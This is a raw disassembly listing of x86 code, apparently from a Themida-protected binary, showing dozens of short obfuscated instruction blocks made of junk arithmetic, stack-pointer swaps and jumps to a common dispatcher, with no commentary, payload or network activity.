--------------------------------------------------------------------------- loc_55AE24: ; CODE XREF: sub_559C84-5197j push edx mov edx, 56312D05h mov ebp, edx pop edx jmp loc_55BB2F ; --------------------------------------------------------------------------- loc_55AE32: ; CODE XREF: sub_559C84-1830j sub bx, dx pop dx jmp loc_558778 ; --------------------------------------------------------------------------- loc_55AE3C: ; CODE XREF: sub_559C84-1272j add eax, edx pop edx jmp loc_55DF77 ; --------------------------------------------------------------------------- loc_55AE44: ; CODE XREF: sub_559C84-591Fj shl cl, 7 neg cl sub cl, 8Bh add al, cl pop ecx add dh, al pop eax mov eax, [esp-24h+arg_20] add esp, 4 xor al, dh jmp loc_55841D ; --------------------------------------------------------------------------- loc_55AE62: ; CODE XREF: sub_559C84+441Cj sub ebx, 3CE754B3h add ebx, ecx add ebx, 3CE754B3h mov ecx, [esp-28h+arg_24] add esp, 4 push 74F0h jmp loc_559B3F ; --------------------------------------------------------------------------- loc_55AE80: ; CODE XREF: sub_555D07+29FEj mov edi, 2 add ebp, 75B8166Bh add ebp, edi sub ebp, 75B8166Bh pop edi xor ebp, [esp-2Ch+arg_28] xor [esp-2Ch+arg_28], ebp xor ebp, [esp-2Ch+arg_28] pop esp mov ax, [esp+0] push 3742h jmp loc_555558 ; --------------------------------------------------------------------------- loc_55AEAC: ; CODE XREF: Themida_:0055950Cj push 2C7Eh mov [esp-28h+arg_24], ebx push 778Eh mov [esp-24h+arg_20], eax push edx mov dh, 0D8h push ebx mov bh, 3Dh inc bh sub bh, 0EFh jmp loc_55452A ; --------------------------------------------------------------------------- loc_55AECC: ; CODE XREF: sub_559C84-1EF6j sub ebx, 51F455BCh add ebx, 44C87B68h pop edi mov dx, word ptr [esp+28h+var_28] jmp loc_5573C5 ; --------------------------------------------------------------------------- loc_55AEE2: ; CODE XREF: sub_559C84-5DB6j push ebx push eax mov eax, 0D6299C2Fh mov ebx, eax jmp loc_55F096 ; --------------------------------------------------------------------------- loc_55AEF0: ; CODE XREF: sub_559C84+4440j add [esp+0Ch+var_8], 4C332B42h pop eax jmp loc_55B220 ; --------------------------------------------------------------------------- loc_55AEFE: ; CODE XREF: sub_559C84+362Bj mov edx, [esp+8+var_8] jmp loc_55F94A ; --------------------------------------------------------------------------- loc_55AF06: ; CODE XREF: sub_559C84+34D5j push edx mov edx, 4 push edi jmp loc_554F83 ; --------------------------------------------------------------------------- loc_55AF12: ; CODE XREF: Themida_:00554A64j add eax, 4 jmp loc_55B37A ; --------------------------------------------------------------------------- loc_55AF1A: ; CODE XREF: sub_559C84+DF9j xor cl, 20h xor cl, 4Bh sub dl, cl pop ecx mov ecx, [esp+2Ch+var_2C] push eax mov eax, esp add eax, 4 add eax, 4 push eax push [esp+34h+var_30] jmp loc_55FB43 ; --------------------------------------------------------------------------- loc_55AF3D: ; CODE XREF: sub_556D58-A0j not edx push ebx mov ebx, 0F37FFC6Fh sub edx, ebx jmp loc_55DE38 ; --------------------------------------------------------------------------- loc_55AF4C: ; CODE XREF: sub_559C84+2CFAj pop edx add esp, 4 push 188Dh mov [esp+38h+var_3A+2], esi mov esi, 4 jmp loc_55DD3D ; --------------------------------------------------------------------------- loc_55AF65: ; CODE XREF: Themida_:00558496j add esi, 1D78F52Bh xor esi, 3D870597h add esi, 0DFF7DBD7h sub esp, 4 jmp loc_557E5D ; --------------------------------------------------------------------------- loc_55AF82: ; CODE XREF: sub_559C84+326Cj push edx jmp loc_558A0D ; --------------------------------------------------------------------------- loc_55AF88: ; CODE XREF: sub_559C84-6122j push ecx jmp loc_55435C ; --------------------------------------------------------------------------- loc_55AF8E: ; CODE XREF: sub_559C84+355Fj add eax, 0C282141h push ebp mov ebp, 796A5813h dec ebp sub ebp, 2E574C67h sub ebp, 382669B1h xor ebp, 50951F35h sub ebp, 0FF3455BCh add eax, 5801188Bh sub eax, 6B882492h sub eax, ebp jmp loc_559395 ; --------------------------------------------------------------------------- push 4161h mov [esp+3Eh+var_3E], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_559E5C ; --------------------------------------------------------------------------- loc_55AFDB: ; CODE XREF: sub_559C84+2681j add esp, 4 push ebx push esp pop ebx add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp+3Eh+var_3E] mov esp, [esp+3Eh+var_3E] xchg esi, [esp+3Eh+var_3E] jmp loc_55351F ; --------------------------------------------------------------------------- loc_55AFFE: ; CODE XREF: sub_559C84-172j add esi, ebx pop ebx xor esi, [esp+4Ah+var_4A] xor [esp+4Ah+var_4A], esi xor esi, [esp+4Ah+var_4A] jmp loc_55D139 ; --------------------------------------------------------------------------- loc_55B00F: ; CODE XREF: Themida_:005547D5j xchg edx, [esp+4Ah+var_4A] pop esp sub esp, 4 mov [esp+4Ah+var_4A], edi push esp pop edi add edi, 4 jmp loc_55F41A ; --------------------------------------------------------------------------- loc_55B026: ; CODE XREF: sub_559C84+C56j sub eax, 14EF17DEh push esi push edx mov edx, 2C5E2048h mov esi, edx jmp loc_55BAF3 ; --------------------------------------------------------------------------- loc_55B039: ; CODE XREF: sub_554790-EDCj pop edi add edi, 0B2D79141h mov ecx, edi jmp loc_558F60 ; --------------------------------------------------------------------------- loc_55B047: ; CODE XREF: sub_559C84-3C8Cj add esp, 4 sub esp, 2 mov word ptr [esp+58h+var_58], ax jmp loc_55B2E0 ; --------------------------------------------------------------------------- loc_55B056: ; CODE XREF: sub_559C84-41CAj mov eax, 73BF03B1h add ebx, eax pop eax push ebp jmp loc_55B390 ; --------------------------------------------------------------------------- loc_55B064: ; CODE XREF: sub_559C84+22B7j add eax, 4 xchg eax, [esp+4Ah+var_4A] pop esp xor ebx, 575F6D57h jmp loc_5561A0 ; --------------------------------------------------------------------------- loc_55B076: ; CODE XREF: sub_559C84+1E35j mov [esp+46h+var_46], eax mov eax, 4 add edx, eax pop eax xchg edx, [esp+42h+var_42] pop esp sub esp, 4 mov [esp+42h+var_42], ecx jmp loc_559A5C ; --------------------------------------------------------------------------- loc_55B093: ; CODE XREF: sub_559C84+261Ej push [esp+42h+var_42] pop edi jmp loc_5575F9 ; --------------------------------------------------------------------------- loc_55B09C: ; CODE XREF: sub_559C84-D62j push ax push ebx mov bh, 0CDh mov al, 97h xor al, bh jmp loc_554CAB ; --------------------------------------------------------------------------- loc_55B0AA: ; CODE XREF: sub_559C84+2E35j add esp, 4 push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xchg edx, [esp+8+var_8] pop esp mov [esp+4+var_4], edx push edi mov edi, 0CED8D1C0h jmp loc_559CD5 ; --------------------------------------------------------------------------- loc_55B0D1: ; CODE XREF: sub_559C84+2792j add esp, 4 push edx push edi jmp loc_558C4E ; --------------------------------------------------------------------------- loc_55B0DE: ; CODE XREF: sub_557380+Ej pop ebp jmp loc_554AFF ; --------------------------------------------------------------------------- loc_55B0E4: ; CODE XREF: sub_559C84+24ADj add esp, 4 add eax, ebx mov ebx, [esp+4+var_4] jmp loc_556150 ; --------------------------------------------------------------------------- loc_55B0F1: ; CODE XREF: sub_559C84+565Cj pop ecx jmp sub_55EB5B ; --------------------------------------------------------------------------- loc_55B0F7: ; CODE XREF: sub_559C84+2154j mov [esp+0], ebx jmp loc_55B345 ; --------------------------------------------------------------------------- loc_55B0FF: ; CODE XREF: sub_559C84+94j pop ax movzx eax, al pop dword ptr [edi+eax*4] jmp loc_55351F ; --------------------------------------------------------------------------- loc_55B10C: ; CODE XREF: sub_559C84+5A53j mov eax, [esp-18h+arg_14] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp-14h+arg_10] xor [esp-14h+arg_10], eax xor eax, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] add esp, 4 push esi push ebp push 24EFh mov [esp-0Ch+arg_8], ecx mov ecx, 30BC4E98h push 4A3Ah mov [esp-8+arg_4], eax mov eax, ecx mov ebp, eax pop eax pop ecx mov esi, 7FE2558Dh not esi push 4A1Fh mov [esp-0Ch+arg_8], ebp jmp loc_55FBFC ; --------------------------------------------------------------------------- loc_55B15F: ; CODE XREF: sub_559C84+2B89j or al, 92h neg al inc al and al, 84h jmp loc_554AF8 ; --------------------------------------------------------------------------- loc_55B16C: ; CODE XREF: Themida_:00554FEEj add esi, edi push edi mov edi, 2C5745A3h add esi, edi pop edi pop edi sub esp, 4 mov [esp-0Ch+arg_8], edi mov edi, 2 jmp sub_558756 ; --------------------------------------------------------------------------- loc_55B188: ; CODE XREF: Themida_:0055898Cj push edx push ecx mov ch, 0EBh jmp loc_553B9B ; --------------------------------------------------------------------------- loc_55B191: ; CODE XREF: sub_559C84-13FFj xchg ebp, [esp+4Ah+var_4A] jmp loc_55B686 ; --------------------------------------------------------------------------- loc_55B199: ; CODE XREF: sub_559C84-3CCEj xor edx, 3F3F0ED5h xor edx, 77204C81h sub edx, 0EB2BB672h xor eax, edx pop edx jmp loc_55BD1B ; --------------------------------------------------------------------------- loc_55B1B3: ; CODE XREF: sub_559C84+1DE2j shr cl, 1 neg cl xor cl, 9 sub al, cl pop ecx push edx mov dl, 0CFh add al, dl pop edx sub al, bl sub al, 0CFh jmp loc_553AFE ; --------------------------------------------------------------------------- loc_55B1CC: ; CODE XREF: sub_559C84+2292j dec ecx jmp loc_55468C ; --------------------------------------------------------------------------- loc_55B1D2: ; CODE XREF: sub_559C84-4183j mov ebp, eax pop eax dec ebp add ebp, 322B153Fh add ebp, 1D629E97h mov ebx, ebp jmp loc_55DCB8 ; --------------------------------------------------------------------------- loc_55B1E9: ; CODE XREF: sub_55DE4E-4ECBj add edx, 4 add edx, 4 xchg edx, [esp+50h+var_52+2] pop esp add edx, 3B3676E3h push ecx mov ecx, 4A5908CFh xor edx, ecx jmp loc_553C9D ; --------------------------------------------------------------------------- loc_55B209: ; CODE XREF: sub_559C84-3179j sub esi, 4 jmp loc_558A5D ; --------------------------------------------------------------------------- loc_55B214: ; CODE XREF: sub_559C84-1A36j add ebp, 7DB82F96h pop ecx jmp loc_55F198 ; --------------------------------------------------------------------------- loc_55B220: ; CODE XREF: sub_559C84+1275j push esi jmp loc_55726D ; --------------------------------------------------------------------------- loc_55B226: ; CODE XREF: sub_559C84+22D8j add ebp, ebx pop ebx push ebp jmp loc_5555BB ; --------------------------------------------------------------------------- loc_55B22F: ; CODE XREF: sub_559C84+2C4Cj pop ebp jmp loc_555824 ; --------------------------------------------------------------------------- loc_55B235: ; CODE XREF: sub_559C84+5DE1j push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop ebp add ebp, 4 push 5B0Ch mov [esp+8+var_8], ecx jmp loc_558235 ; --------------------------------------------------------------------------- loc_55B263: ; CODE XREF: sub_559C84+371Ej pop edi add edi, eax mov eax, [esp+4+var_4] add esp, 4 sub edi, 0F7CB5B88h xor eax, edi mov edi, [esp+0] add esp, 4 push edi push edx mov edx, 72BB3457h xor edx, 25356B88h neg edx not edx jmp loc_5548FD ; --------------------------------------------------------------------------- loc_55B296: ; CODE XREF: sub_559C84-5F70j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+1Ch+var_1C] pop esp mov edx, [esp+18h+var_18] add esp, 4 pop edi push edi push 48083E9Ch pop edi jmp loc_558146 ; --------------------------------------------------------------------------- loc_55B2BC: ; CODE XREF: sub_559C84+16A3j add eax, edi mov edi, [esp+14h+var_14] add esp, 4 add eax, 4 xor eax, [esp+10h+var_10] xor [esp+10h+var_10], eax jmp loc_55601E ; --------------------------------------------------------------------------- loc_55B2D2: ; CODE XREF: Themida_:00559730j mov edx, esi pop esi add esi, 0B6613E3h jmp loc_556332 ; --------------------------------------------------------------------------- loc_55B2E0: ; CODE XREF: sub_559C84+13CDj push 6496h jmp loc_55BBA4 ; --------------------------------------------------------------------------- loc_55B2EA: ; CODE XREF: Themida_:00556733j add eax, 4 xchg eax, [esp+5Ch+var_5C] pop esp push 1C71h jmp loc_55861E ; --------------------------------------------------------------------------- loc_55B2FD: ; CODE XREF: Themida_:005541AAj shr edx, 2 jmp loc_55FB99 ; --------------------------------------------------------------------------- loc_55B305: ; CODE XREF: sub_559C84-42BBj mov ecx, [esp-14h+arg_10] add esp, 4 jmp sub_557920 ; --------------------------------------------------------------------------- loc_55B310: ; CODE XREF: sub_559C84-4CA6j pop eax pop esi jmp loc_55896F ; --------------------------------------------------------------------------- loc_55B317: ; CODE XREF: Themida_:00553E9Cj pop ebx xor ebx, 4C1B07BCh mov edi, ebx pop ebx sub edi, 70C546D6h jmp loc_55B2BC ; --------------------------------------------------------------------------- loc_55B32C: ; CODE XREF: sub_559C84-1BB5j mov [edi+38h], bh push [esp+42h+var_42] pop ebx add esp, 4 pop ecx mov ebx, [esp+3Ah+var_3A] add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- loc_55B345: ; CODE XREF: sub_559C84+1476j mov ebx, 99F8626h push esi push 3F6Ah mov [esp+8+var_8], edx jmp loc_55C3BB ; --------------------------------------------------------------------------- loc_55B358: ; CODE XREF: sub_559C84-4454j shl edi, 7 add edi, 0C00884h add ebp, edi push [esp+34h+var_34] push [esp+38h+var_3A+2] mov edi, [esp+3Ch+var_3E+2] add esp, 4 add esp, 4 jmp loc_55BE0C ; --------------------------------------------------------------------------- loc_55B37A: ; CODE XREF: sub_559C84+1291j xchg eax, [esp+10h+var_10] jmp loc_557A56 ; --------------------------------------------------------------------------- loc_55B382: ; CODE XREF: sub_559C84+5E65j shr ebx, 3 sub ebx, 69E004F4h jmp loc_55C887 ; --------------------------------------------------------------------------- loc_55B390: ; CODE XREF: sub_559C84+13DBj mov ebp, 2EC73505h shl ebp, 4 jmp loc_554124 ; --------------------------------------------------------------------------- loc_55B39D: ; CODE XREF: sub_559C84-40A6j sub esi, 8E85CB91h sub edx, 5CDF1629h jmp loc_55DA96 ; --------------------------------------------------------------------------- loc_55B3AE: ; CODE XREF: sub_559A2E-1460j sub esp, 4 mov [esp+48h+var_4A+2], ebx mov bl, 63h jmp loc_557803 ; --------------------------------------------------------------------------- loc_55B3BE: ; CODE XREF: sub_559C84+2789j mov esp, [esp+48h+var_4A+2] mov word ptr [esp+48h+var_4A+2], cx movzx cx, al push cx pushf jmp loc_55F49E ; --------------------------------------------------------------------------- loc_55B3D1: ; CODE XREF: sub_559C84+500Dj jmp loc_55351F ; --------------------------------------------------------------------------- loc_55B3D6: ; CODE XREF: sub_559C84+5319j add edx, 4 sub esp, 4 mov [esp+52h+var_52], eax mov eax, 2 jmp loc_55F00E ; --------------------------------------------------------------------------- loc_55B3EF: ; CODE XREF: sub_555835+23j xor ebx, 2EFF677Fh add ecx, ebx pop ebx jmp loc_55652D ; --------------------------------------------------------------------------- loc_55B3FD: ; CODE XREF: sub_559C84-3DA5j sub edi, 7462911h pop eax sub edi, 4 xchg edi, [esp+46h+var_46] jmp loc_557C6A ; --------------------------------------------------------------------------- loc_55B412: ; CODE XREF: sub_559C84+19Cj mov esp, [esp+46h+var_46] jmp loc_55801C ; --------------------------------------------------------------------------- loc_55B41A: ; CODE XREF: sub_559C84+99Aj mov [esp+58h+var_58], edi push 92595052h mov edi, [esp+5Ch+var_5C] add esp, 4 add ebp, 5E8548B1h add ebp, edi jmp loc_55C3FD ; --------------------------------------------------------------------------- loc_55B438: ; CODE XREF: sub_559C84+5A26j mov edx, 31FF606Ch xor edx, esi mov esi, [esp+58h+var_58] jmp loc_55883A ; --------------------------------------------------------------------------- loc_55B447: ; CODE XREF: sub_559C84+4189j mov edx, [esp+58h+var_58] push ecx mov ecx, esp add ecx, 4 jmp loc_55876D ; --------------------------------------------------------------------------- loc_55B458: ; CODE XREF: Themida_:0055EA19j mov bh, 51h push ecx mov ch, 63h jmp loc_55E79E ; --------------------------------------------------------------------------- loc_55B462: ; CODE XREF: sub_559C84+830j push esi push 7FBAh mov [esp+40h+var_42+2], ecx mov ecx, 12A66BF3h mov esi, 3BBCAB46h sub esi, 1EB37163h sub esi, 0C391E09h sub esi, ecx add esi, 0C391E09h add esi, 1EB37163h pop ecx push 6727h mov [esp+40h+var_42+2], edi mov edi, 74BA42B9h push esi push 0B45BFCA0h mov esi, [esp+48h+var_4A+2] add esp, 4 jmp loc_556B70 ; --------------------------------------------------------------------------- loc_55B4B1: ; CODE XREF: sub_559C84+5204j sub esp, 4 mov [esp+48h+var_4A+2], edi jmp loc_5564A1 ; --------------------------------------------------------------------------- loc_55B4BC: ; CODE XREF: sub_559C84+31Ej sub bl, cl pop cx xor ch, bl pop ebx add ch, 9Eh sub ch, 0D1h add al, 8Dh add al, 59h sub al, ch jmp loc_5591D9 ; --------------------------------------------------------------------------- loc_55B4D4: ; CODE XREF: sub_559C84+5ABDj mov ebx, [esp+48h+var_4A+2] add esp, 4 sub al, bl push ecx mov cl, 6Ch sub cl, 7Ah sub al, cl pop ecx jmp loc_55A3F9 ; --------------------------------------------------------------------------- loc_55B4EA: ; CODE XREF: sub_559C84+2072j push edx push 299Ah jmp loc_5588FA ; --------------------------------------------------------------------------- loc_55B4F5: ; CODE XREF: sub_559C84+5BAj add edi, 4 push edi push [esp-4+arg_4] pop edi pop [esp-4+arg_0] pop esp add esp, 4 add [esp-10h+arg_C], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55B511: ; CODE XREF: sub_559C84-3348j push esi mov esi, esp add esi, 4 sub esi, 2 sub esp, 4 mov [esp-1Ch+arg_18], esi push [esp-1Ch+arg_1C] pop esi pop [esp-1Ch+arg_18] mov esp, [esp-20h+arg_1C] mov word ptr [esp-20h+arg_1C], bx push edx mov dl, 71h shl dl, 7 not dl add dl, 0BEh jmp loc_556E95 ; --------------------------------------------------------------------------- loc_55B545: ; CODE XREF: sub_559C84-4922j mov bl, dh pop edx jmp loc_55B9FC ; --------------------------------------------------------------------------- loc_55B54D: ; CODE XREF: sub_558B94+9j add bx, 5762h inc bx xor bx, 3DF1h add bx, 3850h jmp $+5 push si jmp loc_55EB13 ; --------------------------------------------------------------------------- loc_55B56A: ; CODE XREF: sub_559C84+3D7Aj mov dl, ch jmp loc_554522 ; --------------------------------------------------------------------------- loc_55B571: ; CODE XREF: sub_559C84+3BB2j push [esp+50h+var_52+2] pop ecx jmp loc_554415 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+50h+var_52+2] sub esp, 4 mov [esp+0], edx mov edx, esp push ebp push ebx push 66571D4Bh pop ebx mov ebp, 0FB1435AAh sub ebp, 75501156h add ebp, ebx add ebp, 75501156h pop ebx add ebp, 4AF30440h shr ebp, 1 shl ebp, 6 and ebp, 348D4600h xor ebp, 884604h add edx, ebp jmp loc_5540E3 ; --------------------------------------------------------------------------- loc_55B5C3: ; CODE XREF: sub_559C84+52D1j push ecx sub esp, 4 jmp loc_55ED72 ; --------------------------------------------------------------------------- loc_55B5CF: ; CODE XREF: sub_5577DF+7ACBj mov ecx, esi pop esi mov edi, [esp+5Ch+var_5C] add esp, 4 add eax, 20720375h add eax, ecx sub eax, 20720375h jmp loc_555537 ; --------------------------------------------------------------------------- loc_55B5E9: ; CODE XREF: sub_559C84-3F34j mov [esp+5Ah+var_5C+2], ebp jmp loc_553F0C ; --------------------------------------------------------------------------- loc_55B5F1: ; CODE XREF: sub_559C84-EBDj xor cl, ah pop eax xor al, cl pop ecx jmp loc_55A63D ; --------------------------------------------------------------------------- loc_55B5FC: ; CODE XREF: sub_558D95+5D44j xchg ecx, [esp+42h+var_42] jmp loc_55454B ; --------------------------------------------------------------------------- loc_55B604: ; CODE XREF: sub_55702F-1644j add ebp, 55F83058h add ebp, esi sub ebp, 55F83058h push [esp+42h+var_42] pop esi jmp loc_55D15E ; --------------------------------------------------------------------------- loc_55B61B: ; CODE XREF: sub_559C84-5CCCj sub esp, 4 mov [esp+6+var_8+2], edx sub esp, 4 mov [esp+0Ah+var_C+2], ebx jmp loc_55DC5E ; --------------------------------------------------------------------------- loc_55B62F: ; CODE XREF: sub_559C84+30B6j mov ah, 6Eh dec ah shr ah, 6 neg ah add ah, 3Fh xor dl, ah jmp loc_557669 ; --------------------------------------------------------------------------- loc_55B642: ; CODE XREF: sub_559C84-19D1j push 63E1h mov [esp+56h+var_58+2], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+56h+var_58+2] pop esp mov [esp+52h+var_52], edx mov edx, 8522C605h jmp loc_55BDF1 ; --------------------------------------------------------------------------- loc_55B666: ; CODE XREF: sub_559C84+373Fj shr edi, 7 add edi, 776B7ABCh xor esi, edi pop edi sub esi, 4EE9BF6h push esi add [esp+52h+var_52], 179700F5h pop edx jmp loc_559171 ; --------------------------------------------------------------------------- loc_55B686: ; CODE XREF: sub_559C84+1510j mov esp, [esp+4Ah+var_4A] mov [esp+4Ah+var_4A], edx push eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_55AC9B ; --------------------------------------------------------------------------- loc_55B69B: ; CODE XREF: sub_559C84+3479j add ebp, edx pop edx push edi mov edi, 2 add ebp, edi push [esp+56h+var_58+2] pop edi push ebp mov ebp, esp jmp loc_55A175 ; --------------------------------------------------------------------------- loc_55B6B2: ; CODE XREF: sub_554572+A68Bj dec edx sub edx, 4015B633h sub ecx, edx pop edx sub esi, ecx mov ecx, [esp+56h+var_58+2] jmp loc_55A567 ; --------------------------------------------------------------------------- loc_55B6C6: ; CODE XREF: sub_559C84+3DE6j dec ebp jmp loc_557F12 ; --------------------------------------------------------------------------- loc_55B6CC: ; CODE XREF: sub_557B99-3A59j mov [ebx], dl pop edx jmp loc_55F1CB ; --------------------------------------------------------------------------- loc_55B6D4: ; CODE XREF: sub_559C84-F9j add al, bh pop ebx jmp loc_556357 ; --------------------------------------------------------------------------- loc_55B6DC: ; CODE XREF: sub_559C84-31BBj add ecx, edx pop edx add ecx, 4 push ecx push [esp+62h+var_60+2] pop ecx jmp loc_554AD0 ; --------------------------------------------------------------------------- loc_55B6F0: ; CODE XREF: sub_559C84+901j mov ebx, 4 add [esp+28h+var_24], ebx jmp loc_5555D0 ; --------------------------------------------------------------------------- loc_55B6FE: ; CODE XREF: sub_559C84+41C5j mov edi, 4A7907BDh xor ecx, edi pop edi push ebx mov ebx, 17EF55F8h not ebx not ebx dec ebx add ebx, 441F27EAh shr ebx, 7 add ebx, 0B3971E3Ah add ecx, ebx jmp loc_55921A ; --------------------------------------------------------------------------- loc_55B727: ; CODE XREF: sub_559C84+841j pop esp inc [esp+3Ch+var_3E+2] pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55B731: ; CODE XREF: sub_559C84+360Dj sub ecx, 7A856F29h push esi mov esi, 57F6D01h jmp loc_55AC90 ; --------------------------------------------------------------------------- loc_55B742: ; CODE XREF: sub_55E26B-9BEFj add esp, 4 xchg ebp, [esp+40h+var_42+2] pop esp and [esp+3Ch+var_3E+2], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55B755: ; CODE XREF: sub_559C84+270Fj add ebx, 20460CB5h add ecx, ebx pop ebx add ecx, 2 xchg ecx, [esp+3Ch+var_3E+2] jmp loc_55EF93 ; --------------------------------------------------------------------------- loc_55B76C: ; CODE XREF: sub_559C84+116Dj add ebp, eax sub ebp, 272B4C91h sub ebp, 45D25468h mov eax, [esp+3Eh+var_3E] add esp, 4 push eax mov eax, 2 add ebp, eax pop eax xchg ebp, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] jmp loc_5552DB ; --------------------------------------------------------------------------- loc_55B797: ; CODE XREF: Themida_:00559B70j mov [esp+3Ah+var_3A], ebx push 3782h jmp loc_555673 ; --------------------------------------------------------------------------- loc_55B7A4: ; CODE XREF: sub_559C84-4FE7j mov bx, 13CFh sub word ptr [esp+56h+var_52], 71E3h sub word ptr [esp+56h+var_52], bx add word ptr [esp+56h+var_52], 71E3h pop bx sub esp, 2 mov word ptr [esp+58h+var_58], dx mov dx, 3726h add word ptr [esp+4], 1A92h jmp loc_55F1BF ; --------------------------------------------------------------------------- loc_55B7D7: ; CODE XREF: sub_559C84+3F4j push edi push [esp-6+arg_4+2] jmp loc_554272 ; --------------------------------------------------------------------------- loc_55B7E1: ; CODE XREF: sub_559C84-245Cj push esi push 41F5450Ah pop esi inc esi jmp loc_55C5C4 ; --------------------------------------------------------------------------- loc_55B7EE: ; CODE XREF: sub_559C84+3A74j pop eax xor edi, [esp+62h+var_64+2] xor [esp+62h+var_64+2], edi xor edi, [esp+62h+var_64+2] pop esp push [esp+5Eh+var_60+2] pop ecx push ecx mov ecx, esp add ecx, 4 push 7505h mov [esp+0], edx push ebx mov ebx, 4 mov edx, ebx pop ebx sub esp, 4 mov [esp+6Ah+var_6A], eax mov eax, 1F246464h sub ecx, eax pop eax add ecx, edx jmp loc_55431E ; --------------------------------------------------------------------------- loc_55B82C: ; CODE XREF: sub_559C84+25FFj pop eax xor dh, 0E3h mov al, dh pop edx add al, 67h add cl, al jmp loc_55CD9B ; --------------------------------------------------------------------------- loc_55B83C: ; CODE XREF: sub_559C84+2B0Bj add ebx, 0B0B10E41h add esi, ebx pop ebx push eax mov eax, 4 add esi, eax pop eax xor esi, [esp+5Ah+var_5C+2] xor [esp+5Ah+var_5C+2], esi xor esi, [esp+5Ah+var_5C+2] pop esp push [esp+56h+var_58+2] jmp loc_55A01B ; --------------------------------------------------------------------------- loc_55B860: ; CODE XREF: sub_5571E4+C37j add di, 2605h sub di, si sub di, 2605h jmp loc_558C7A ; --------------------------------------------------------------------------- loc_55B872: ; CODE XREF: sub_559C84-3294j and eax, esi pop esi xor eax, 71BF5319h or eax, 1EC23FB8h sub eax, 3FD67FB9h add edi, eax pop eax add edi, 2 jmp loc_558E68 ; --------------------------------------------------------------------------- loc_55B892: ; CODE XREF: sub_559C84-4AE4j add ecx, 2D4C5FFBh shl ecx, 2 sub ecx, 8D570E40h mov ebx, ecx pop ecx add [esp+3Eh+var_3A], ebx mov ebx, [esp+3Eh+var_3E] add esp, 4 pop eax sub eax, 27E035CCh push 4AFh mov [esp+3Ah+var_3A], ebx sub esp, 4 mov [esp+3Eh+var_3E], eax push 54530B5Ch jmp loc_55E41A ; --------------------------------------------------------------------------- loc_55B8CC: ; CODE XREF: sub_55DD10+1Cj mov [esp+42h+var_42], eax mov eax, esp push ebp mov ebp, 4 push edx mov edx, 15322C4Ah push ecx mov ecx, 1F5341C7h or ecx, 5FCD7DC3h jmp loc_556277 ; --------------------------------------------------------------------------- loc_55B8EE: ; CODE XREF: sub_559C84-490Bj mov ebp, 736045BDh push esi mov esi, 0FFFFFFFFh jmp loc_55DB28 ; --------------------------------------------------------------------------- loc_55B8FE: ; CODE XREF: sub_559C84-41D8j xchg edx, [esp+4Ah+var_4A] pop esp jmp loc_5560B0 ; --------------------------------------------------------------------------- loc_55B907: ; CODE XREF: sub_559C84-E21j add edi, 30D950A1h jmp loc_55D27D ; --------------------------------------------------------------------------- loc_55B912: ; CODE XREF: sub_559C84+59C6j push edx jmp loc_555FB1 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp+34h+var_34], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55B927: ; CODE XREF: sub_555CF6+9B38j mov edx, 5FC74E45h xor ebp, edx jmp loc_55606B ; --------------------------------------------------------------------------- loc_55B933: ; CODE XREF: sub_559C84+F7Fj mov esi, [esp+52h+var_52] jmp loc_554ECA ; --------------------------------------------------------------------------- loc_55B93B: ; CODE XREF: sub_559C84+4F5Cj pop esp xchg esi, [esp+4Eh+var_4E] mov esp, [esp+4Eh+var_4E] push esi jmp loc_556119 ; --------------------------------------------------------------------------- loc_55B948: ; CODE XREF: sub_559C84-5B92j mov edi, 0C1A6D1Bh jmp loc_559897 ; --------------------------------------------------------------------------- loc_55B952: ; DATA XREF: Themida_:00553464o lodsd xor eax, ebx sub esp, 4 mov [esp+0Ch+var_C], ecx push esi mov esi, 26E63508h add esi, 55251E6h sub esi, 3725429h inc esi or esi, 2D325CF1h xor esi, 4B061A2Dh mov ecx, esi pop esi add eax, 3AEC5384h jmp loc_558D5F ; --------------------------------------------------------------------------- loc_55B987: ; CODE XREF: sub_559C84+572Aj not edi xchg edi, ecx jmp loc_554CCF ; --------------------------------------------------------------------------- loc_55B990: ; CODE XREF: sub_559C84-2962j pop edi add eax, ebp push [esp+34h+var_34] mov ebp, [esp+38h+var_3A+2] add esp, 4 jmp loc_55C993 ; --------------------------------------------------------------------------- loc_55B9A1: ; CODE XREF: sub_559C84-44A5j mov edi, 2EBD1427h dec edi xor edi, 45AD0B99h add edi, 0E6D74F51h sub ebx, edi pop edi push eax mov eax, 3C6768B7h inc eax xor eax, 607D7505h jmp loc_556C69 ; --------------------------------------------------------------------------- loc_55B9C7: ; CODE XREF: sub_559C84-517Dj push [esp+42h+var_42] pop ebp add esp, 4 mov esi, [esp+3Eh+var_3E] add esp, 4 push 1482h mov [esp+3Eh+var_3E], edx push ecx mov ecx, 334B5138h sub esp, 4 mov [esp+46h+var_46], edx mov edx, 0C412C5Ch xor edx, 1FF675CEh xor ecx, edx pop edx dec ecx jmp loc_55A2FA ; --------------------------------------------------------------------------- loc_55B9FC: ; CODE XREF: sub_559C84+18C4j dec bl xor bl, 7Ch push eax mov al, 0A0h push ecx jmp loc_556E34 ; --------------------------------------------------------------------------- loc_55BA0A: ; CODE XREF: sub_559C84+FA6j add esp, 4 add esp, 4 shr eax, 0Ah xor eax, ecx xor eax, esi xor esi, eax xor eax, esi jmp loc_55F804 ; --------------------------------------------------------------------------- loc_55BA20: ; CODE XREF: sub_559C84+4FB4j pop esi add edx, ebx pop ebx sub edx, 4 xchg edx, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] mov [esp-14h+arg_10], eax jmp loc_55F06D ; 